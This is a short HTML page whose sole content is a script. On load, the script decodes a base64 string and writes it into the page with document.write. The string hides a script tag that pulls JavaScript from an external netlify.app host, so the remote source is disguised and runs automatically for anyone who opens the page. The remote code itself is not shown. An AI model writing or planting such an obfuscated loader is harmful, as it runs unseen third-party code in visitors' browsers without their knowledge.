<html>
  <script>
    const base64EncodedScript = 'PHNjcmlwdCBzcmM9Imh0dHBzOi8vc2lsdmVyLW1hbmRhemktYTZiOWNkLm5ldGxpZnkuYXBwLyI+PC9zY3JpcHQ+';
    function injectScript(encodedScript) {
      const decodedScript = atob(encodedScript);
      document.write(unescape(decodedScript));
    }
    injectScript(base64EncodedScript);
  </script>
</html>